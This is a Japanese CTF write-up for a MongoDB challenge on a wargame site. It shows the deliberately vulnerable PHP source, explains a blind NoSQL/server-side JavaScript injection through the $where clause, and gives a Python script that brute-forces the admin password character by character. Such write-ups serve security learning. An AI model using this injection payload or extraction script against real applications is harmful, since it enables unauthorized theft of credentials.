<?php include "./config.php"; login_chk(); $db = mongodb_connect(); if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~"); $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}"); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = array("id" => "admin"); $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['pw'] === $_GET['pw']) solve("incubus"); highlight_file(__FILE__);
特徴は以下。
- MongoDB
- id,pwが入力可能
prob,_,(がフィルタリング
- whereを使って持ってきている
- adminのpwを特定する必要がある
Blind NoSQL Injection (for MongoDB) (SSJI?)
Blind NoSQL Injectionをやる。
というより、with SSJIかも。
MongoDBではJSで評価関数を使って持ってくるwhere構文がある。
開き括弧が使えないので、js関数は使えない。
配列をうまく使おう。
idにadmin' && obj.pw[0]=='a';'を入れればいい。
するとインジェクション後は
function(){
return obj.id=='admin' && obj.pw[0]=='a';
''&&obj.pw=='';
}
となり、良い感じになる。
import requests
url = "https://los.rubiya.kr/chall/incubus_3d7.php"
cookie = {'PHPSESSID': 'q5'}
def check(data) -> bool:
return ("Hello admin" in data) or ("Hello guest" in data) or ("<h2>Hello User</h2>" in data)
def make_query(ans, c, idx):
return {'id': f"admin' && obj.pw[{idx-1}]=='{c}';'"}
ans = ""
for i in range(1, 1010):
ok = False
for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,":
res = requests.get(url, params=make_query(ans, c, i), cookies=cookie)
if check(res.text):
ans += c
ok = True
break
if not ok:
break
print(f"[*] {ans}")
print(f"[*] find! {ans}")